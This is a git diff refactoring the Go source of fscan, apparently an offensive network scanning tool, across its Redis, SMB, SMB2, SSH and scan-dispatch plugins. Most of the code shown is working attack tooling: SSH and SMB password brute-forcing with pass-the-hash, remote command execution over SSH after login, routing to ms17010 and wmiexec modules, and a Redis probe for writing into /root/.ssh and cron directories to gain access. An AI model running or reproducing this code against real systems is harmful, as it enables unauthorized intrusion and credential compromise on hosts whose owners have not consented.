return flag, text, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
text, err = readreply(conn)
|
||||||
@ -315,7 +315,7 @@ func readreply(conn net.Conn) (result string, err error) {
|
|||||||
|
|
||||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||||
var text string
|
var text string
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, flagCron, err
|
return flag, flagCron, err
|
||||||
}
|
}
|
||||||
@ -326,7 +326,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
|||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, flagCron, err
|
return flag, flagCron, err
|
||||||
}
|
}
|
||||||
@ -341,7 +341,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
|
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -355,7 +355,7 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
|||||||
} else {
|
} else {
|
||||||
dbfilename = text1[0]
|
dbfilename = text1[0]
|
||||||
}
|
}
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
|
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -377,16 +377,16 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
dbfilename, err = readreply(conn)
|
|
||||||
if err != nil {
|
if _, err = readreply(conn); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
dir, err = readreply(conn)
|
|
||||||
if err != nil {
|
if _, err = readreply(conn); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
|
@ -2,58 +2,59 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/fatih/color"
|
|
||||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"reflect"
|
"reflect"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
|
|
||||||
|
"github.com/fatih/color"
|
||||||
|
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
func Scan(info common.HostInfo) {
|
func Scan(info common.HostInfo, flags common.Flags) {
|
||||||
fmt.Println("start infoscan")
|
fmt.Println("start infoscan")
|
||||||
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
|
Hosts, err := common.ParseIP(&info.HostPort, info.Host, flags.HostFile, flags.NoHosts)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println("len(hosts)==0", err)
|
fmt.Println("len(hosts)==0", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
lib.Inithttp(common.Pocinfo)
|
lib.Inithttp(flags)
|
||||||
var ch = make(chan struct{}, common.Threads)
|
var ch = make(chan struct{}, flags.Threads)
|
||||||
var wg = sync.WaitGroup{}
|
var wg = sync.WaitGroup{}
|
||||||
web := strconv.Itoa(common.PORTList["web"])
|
web := strconv.Itoa(common.PORTList["web"])
|
||||||
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
|
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
|
||||||
if len(Hosts) > 0 || len(common.HostPort) > 0 {
|
if len(Hosts) > 0 || len(info.HostPort) > 0 {
|
||||||
if common.NoPing == false && len(Hosts) > 0 {
|
if flags.NoPing == false && len(Hosts) > 0 {
|
||||||
Hosts = CheckLive(Hosts, common.Ping)
|
Hosts = CheckLive(Hosts, flags.Ping, flags.LiveTop)
|
||||||
color.Cyan("[*] Icmp alive hosts len is: %d", len(Hosts))
|
color.Cyan("[*] Icmp alive hosts len is: %d", len(Hosts))
|
||||||
}
|
}
|
||||||
if common.Scantype == "icmp" {
|
if flags.Scantype == "icmp" {
|
||||||
common.LogWG.Wait()
|
common.LogWG.Wait()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
common.GC()
|
|
||||||
var AlivePorts []string
|
var AlivePorts []string
|
||||||
if common.Scantype == "webonly" || common.Scantype == "webpoc" {
|
if flags.Scantype == "webonly" || flags.Scantype == "webpoc" {
|
||||||
AlivePorts = NoPortScan(Hosts, info.Ports)
|
AlivePorts = NoPortScan(Hosts, info.Ports, flags)
|
||||||
} else if common.Scantype == "hostname" {
|
} else if flags.Scantype == "hostname" {
|
||||||
info.Ports = "139"
|
info.Ports = "139"
|
||||||
AlivePorts = NoPortScan(Hosts, info.Ports)
|
AlivePorts = NoPortScan(Hosts, info.Ports, flags)
|
||||||
} else if len(Hosts) > 0 {
|
} else if len(Hosts) > 0 {
|
||||||
AlivePorts = PortScan(Hosts, info.Ports, common.Timeout)
|
AlivePorts = PortScan(Hosts, info.Ports, flags)
|
||||||
color.Cyan("[*] alive ports len is: %d", len(AlivePorts))
|
color.Cyan("[*] alive ports len is: %d", len(AlivePorts))
|
||||||
if common.Scantype == "portscan" {
|
if flags.Scantype == "portscan" {
|
||||||
common.LogWG.Wait()
|
common.LogWG.Wait()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if len(common.HostPort) > 0 {
|
if len(info.HostPort) > 0 {
|
||||||
AlivePorts = append(AlivePorts, common.HostPort...)
|
AlivePorts = append(AlivePorts, info.HostPort...)
|
||||||
AlivePorts = common.RemoveDuplicate(AlivePorts)
|
AlivePorts = common.RemoveDuplicate(AlivePorts)
|
||||||
common.HostPort = nil
|
info.HostPort = nil
|
||||||
color.Cyan("[*] AlivePorts len is:", len(AlivePorts))
|
color.Cyan("[*] AlivePorts len is:", len(AlivePorts))
|
||||||
}
|
}
|
||||||
common.GC()
|
|
||||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
||||||
for _, port := range common.PORTList {
|
for _, port := range common.PORTList {
|
||||||
severports = append(severports, strconv.Itoa(port))
|
severports = append(severports, strconv.Itoa(port))
|
||||||
@ -61,53 +62,54 @@ func Scan(info common.HostInfo) {
|
|||||||
fmt.Println("start vulscan")
|
fmt.Println("start vulscan")
|
||||||
for _, targetIP := range AlivePorts {
|
for _, targetIP := range AlivePorts {
|
||||||
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
||||||
if common.Scantype == "all" || common.Scantype == "main" {
|
if flags.Scantype == "all" || flags.Scantype == "main" {
|
||||||
switch {
|
switch {
|
||||||
case info.Ports == "135":
|
case info.Ports == "135":
|
||||||
AddScan(info.Ports, info, &ch, &wg) //findnet
|
AddScan(info.Ports, info, flags, &ch, &wg) //findnet
|
||||||
if common.IsWmi {
|
if flags.IsWmi {
|
||||||
AddScan("1000005", info, &ch, &wg) //wmiexec
|
AddScan("1000005", info, flags, &ch, &wg) //wmiexec
|
||||||
}
|
}
|
||||||
case info.Ports == "445":
|
case info.Ports == "445":
|
||||||
AddScan(ms17010, info, &ch, &wg) //ms17010
|
AddScan(ms17010, info, flags, &ch, &wg) //ms17010
|
||||||
//AddScan(info.Ports, info, ch, &wg) //smb
|
//AddScan(info.Ports, info, ch, &wg) //smb
|
||||||
//AddScan("1000002", info, ch, &wg) //smbghost
|
//AddScan("1000002", info, ch, &wg) //smbghost
|
||||||
case info.Ports == "9000":
|
case info.Ports == "9000":
|
||||||
AddScan(web, info, &ch, &wg) //http
|
AddScan(web, info, flags, &ch, &wg) //http
|
||||||
AddScan(info.Ports, info, &ch, &wg) //fcgiscan
|
AddScan(info.Ports, info, flags, &ch, &wg) //fcgiscan
|
||||||
case IsContain(severports, info.Ports):
|
case IsContain(severports, info.Ports):
|
||||||
AddScan(info.Ports, info, &ch, &wg) //plugins scan
|
AddScan(info.Ports, info, flags, &ch, &wg) //plugins scan
|
||||||
default:
|
default:
|
||||||
AddScan(web, info, &ch, &wg) //webtitle
|
AddScan(web, info, flags, &ch, &wg) //webtitle
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
scantype := strconv.Itoa(common.PORTList[common.Scantype])
|
scantype := strconv.Itoa(common.PORTList[flags.Scantype])
|
||||||
AddScan(scantype, info, &ch, &wg)
|
AddScan(scantype, info, flags, &ch, &wg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
common.GC()
|
|
||||||
for _, url := range common.Urls {
|
for _, url := range flags.Urls {
|
||||||
info.Url = url
|
info.Url = url
|
||||||
AddScan(web, info, &ch, &wg)
|
AddScan(web, info, flags, &ch, &wg)
|
||||||
}
|
}
|
||||||
common.GC()
|
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
common.LogWG.Wait()
|
common.LogWG.Wait()
|
||||||
close(common.Results)
|
close(common.Results)
|
||||||
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
|
|
||||||
|
fmt.Printf("Finished %d/%d", common.End, common.Num)
|
||||||
}
|
}
|
||||||
|
|
||||||
var Mutex = &sync.Mutex{}
|
var Mutex = &sync.Mutex{}
|
||||||
|
|
||||||
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
func AddScan(scantype string, info common.HostInfo, flags common.Flags, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
*ch <- struct{}{}
|
*ch <- struct{}{}
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
Mutex.Lock()
|
Mutex.Lock()
|
||||||
common.Num += 1
|
common.Num += 1
|
||||||
Mutex.Unlock()
|
Mutex.Unlock()
|
||||||
ScanFunc(&scantype, &info)
|
ScanFunc(scantype, info, flags)
|
||||||
Mutex.Lock()
|
Mutex.Lock()
|
||||||
common.End += 1
|
common.End += 1
|
||||||
Mutex.Unlock()
|
Mutex.Unlock()
|
||||||
@ -116,9 +118,9 @@ func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.
|
|||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
func ScanFunc(name *string, info *common.HostInfo) {
|
func ScanFunc(name string, info common.HostInfo, flags common.Flags) {
|
||||||
f := reflect.ValueOf(PluginList[*name])
|
f := reflect.ValueOf(PluginList[name])
|
||||||
in := []reflect.Value{reflect.ValueOf(info)}
|
in := []reflect.Value{reflect.ValueOf(info), reflect.ValueOf(flags)}
|
||||||
f.Call(in)
|
f.Call(in)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -3,25 +3,26 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"github.com/stacktitan/smb/smb"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/stacktitan/smb/smb"
|
||||||
)
|
)
|
||||||
|
|
||||||
func SmbScan(info *common.HostInfo) (tmperr error) {
|
func SmbScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
for _, user := range common.Userdict["smb"] {
|
for _, user := range common.Userdict["smb"] {
|
||||||
for _, pass := range common.Passwords {
|
for _, pass := range common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
flag, err := doWithTimeOut(info, user, pass)
|
flag, err := doWithTimeOut(info, flags, user, pass)
|
||||||
if flag == true && err == nil {
|
if flag && err == nil {
|
||||||
var result string
|
var result string
|
||||||
if common.Domain != "" {
|
if flags.Domain != "" {
|
||||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
|
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, flags.Domain, user, pass)
|
||||||
} else {
|
} else {
|
||||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
|
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
|
||||||
}
|
}
|
||||||
@ -35,7 +36,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
|
|||||||
if common.CheckErrs(err) {
|
if common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -44,7 +45,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
func SmblConn(info common.HostInfo, flags common.Flags, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
Host, Username, Password := info.Host, user, pass
|
Host, Username, Password := info.Host, user, pass
|
||||||
options := smb.Options{
|
options := smb.Options{
|
||||||
@ -52,7 +53,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
|
|||||||
Port: 445,
|
Port: 445,
|
||||||
User: Username,
|
User: Username,
|
||||||
Password: Password,
|
Password: Password,
|
||||||
Domain: common.Domain,
|
Domain: flags.Domain,
|
||||||
Workstation: "",
|
Workstation: "",
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -67,15 +68,15 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
|
|||||||
return flag, err
|
return flag, err
|
||||||
}
|
}
|
||||||
|
|
||||||
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func doWithTimeOut(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
|
||||||
signal := make(chan struct{})
|
signal := make(chan struct{})
|
||||||
go func() {
|
go func() {
|
||||||
flag, err = SmblConn(info, user, pass, signal)
|
flag, err = SmblConn(info, flags, user, pass, signal)
|
||||||
}()
|
}()
|
||||||
select {
|
select {
|
||||||
case <-signal:
|
case <-signal:
|
||||||
return flag, err
|
return flag, err
|
||||||
case <-time.After(time.Duration(common.Timeout) * time.Second):
|
case <-time.After(time.Duration(flags.Timeout) * time.Second):
|
||||||
return false, errors.New("time out")
|
return false, errors.New("time out")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -2,39 +2,40 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
|
||||||
"github.com/hirochachacha/go-smb2"
|
"github.com/hirochachacha/go-smb2"
|
||||||
)
|
)
|
||||||
|
|
||||||
func SmbScan2(info *common.HostInfo) (tmperr error) {
|
func SmbScan2(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
hasprint := false
|
hasprint := false
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
hash := common.HashBytes
|
hash := flags.HashBytes
|
||||||
for _, user := range common.Userdict["smb"] {
|
for _, user := range common.Userdict["smb"] {
|
||||||
PASS:
|
PASS:
|
||||||
for _, pass := range common.Passwords {
|
for _, pass := range common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
|
flag, err, flag2 := Smb2Con(info, flags, user, pass, hash, hasprint)
|
||||||
if flag2 {
|
if flag2 {
|
||||||
hasprint = true
|
hasprint = true
|
||||||
}
|
}
|
||||||
if flag == true {
|
if flag {
|
||||||
var result string
|
var result string
|
||||||
if common.Domain != "" {
|
if flags.Domain != "" {
|
||||||
result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
|
||||||
} else {
|
} else {
|
||||||
result = fmt.Sprintf("[+] SMB2:%v:%v:%v ", info.Host, info.Ports, user)
|
result = fmt.Sprintf("[+] SMB2:%v:%v:%v ", info.Host, info.Ports, user)
|
||||||
}
|
}
|
||||||
if len(hash) > 0 {
|
if len(hash) > 0 {
|
||||||
result += "hash: " + common.Hash
|
result += "hash: " + flags.Hash
|
||||||
} else {
|
} else {
|
||||||
result += pass
|
result += pass
|
||||||
}
|
}
|
||||||
@ -42,8 +43,8 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
|
|||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
var errlog string
|
var errlog string
|
||||||
if len(common.Hash) > 0 {
|
if len(flags.Hash) > 0 {
|
||||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
|
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, flags.Hash, err)
|
||||||
} else {
|
} else {
|
||||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||||
}
|
}
|
||||||
@ -53,11 +54,11 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
|
|||||||
if common.CheckErrs(err) {
|
if common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if len(common.Hash) > 0 {
|
if len(flags.Hash) > 0 {
|
||||||
break PASS
|
break PASS
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -65,8 +66,8 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
|
func Smb2Con(info common.HostInfo, flags common.Flags, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
|
||||||
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second)
|
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(flags.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@ -77,7 +78,7 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
|
|||||||
}
|
}
|
||||||
initiator := smb2.NTLMInitiator{
|
initiator := smb2.NTLMInitiator{
|
||||||
User: user,
|
User: user,
|
||||||
Domain: common.Domain,
|
Domain: flags.Domain,
|
||||||
}
|
}
|
||||||
if len(hash) > 0 {
|
if len(hash) > 0 {
|
||||||
initiator.Hash = hash
|
initiator.Hash = hash
|
||||||
@ -99,13 +100,13 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
|
|||||||
}
|
}
|
||||||
if !hasprint {
|
if !hasprint {
|
||||||
var result string
|
var result string
|
||||||
if common.Domain != "" {
|
if flags.Domain != "" {
|
||||||
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
|
||||||
} else {
|
} else {
|
||||||
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v ", info.Host, info.Ports, user)
|
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v ", info.Host, info.Ports, user)
|
||||||
}
|
}
|
||||||
if len(hash) > 0 {
|
if len(hash) > 0 {
|
||||||
result += "hash: " + common.Hash
|
result += "hash: " + flags.Hash
|
||||||
} else {
|
} else {
|
||||||
result += pass
|
result += pass
|
||||||
}
|
}
|
||||||
@ -126,51 +127,5 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
|
|||||||
defer f.Close()
|
defer f.Close()
|
||||||
flag = true
|
flag = true
|
||||||
return
|
return
|
||||||
//bs, err := ioutil.ReadAll(f)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//fmt.Println(string(bs))
|
|
||||||
//return
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//if info.Path == ""{
|
|
||||||
//}
|
|
||||||
//path = info.Path
|
|
||||||
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//flag = true
|
|
||||||
//_, err = f.Seek(0, io.SeekStart)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//bs, err := ioutil.ReadAll(f)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//fmt.Println(string(bs))
|
|
||||||
//return
|
|
||||||
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//flag = true
|
|
||||||
//
|
|
||||||
//_, err = f.Write([]byte("Hello world!"))
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//
|
|
||||||
//_, err = f.Seek(0, io.SeekStart)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//bs, err := ioutil.ReadAll(f)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//fmt.Println(string(bs))
|
|
||||||
//return
|
|
||||||
|
@ -3,24 +3,25 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"golang.org/x/crypto/ssh"
|
|
||||||
"io/ioutil"
|
|
||||||
"net"
|
"net"
|
||||||
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"golang.org/x/crypto/ssh"
|
||||||
)
|
)
|
||||||
|
|
||||||
func SshScan(info *common.HostInfo) (tmperr error) {
|
func SshScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
for _, user := range common.Userdict["ssh"] {
|
for _, user := range common.Userdict["ssh"] {
|
||||||
for _, pass := range common.Passwords {
|
for _, pass := range common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
flag, err := SshConn(info, user, pass)
|
flag, err := SshConn(info, flags, user, pass)
|
||||||
if flag == true && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||||
@ -29,11 +30,11 @@ func SshScan(info *common.HostInfo) (tmperr error) {
|
|||||||
if common.CheckErrs(err) {
|
if common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * flags.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if common.SshKey != "" {
|
if flags.SshKey != "" {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -41,12 +42,12 @@ func SshScan(info *common.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func SshConn(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||||
Auth := []ssh.AuthMethod{}
|
var Auth []ssh.AuthMethod
|
||||||
if common.SshKey != "" {
|
if flags.SshKey != "" {
|
||||||
pemBytes, err := ioutil.ReadFile(common.SshKey)
|
pemBytes, err := os.ReadFile(flags.SshKey)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, errors.New("read key failed" + err.Error())
|
return false, errors.New("read key failed" + err.Error())
|
||||||
}
|
}
|
||||||
@ -62,7 +63,7 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
|
|||||||
config := &ssh.ClientConfig{
|
config := &ssh.ClientConfig{
|
||||||
User: Username,
|
User: Username,
|
||||||
Auth: Auth,
|
Auth: Auth,
|
||||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
Timeout: time.Duration(flags.Timeout) * time.Second,
|
||||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||||
return nil
|
return nil
|
||||||
},
|
},
|
||||||
@ -76,16 +77,16 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
|
|||||||
defer session.Close()
|
defer session.Close()
|
||||||
flag = true
|
flag = true
|
||||||
var result string
|
var result string
|
||||||
if common.Command != "" {
|
if flags.Command != "" {
|
||||||
combo, _ := session.CombinedOutput(common.Command)
|
combo, _ := session.CombinedOutput(flags.Command)
|
||||||
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
||||||
if common.SshKey != "" {
|
if flags.SshKey != "" {
|
||||||
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
|
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
|
||||||
}
|
}
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
} else {
|
} else {
|
||||||
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
|
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
|
||||||
if common.SshKey != "" {
|
if flags.SshKey != "" {
|
||||||
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
|
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
|
||||||
}
|
}
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
|
@ -5,7 +5,6 @@ import (
|
|||||||
"crypto/tls"
|
"crypto/tls"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"io/ioutil"
|
|
||||||
"net/http"
|
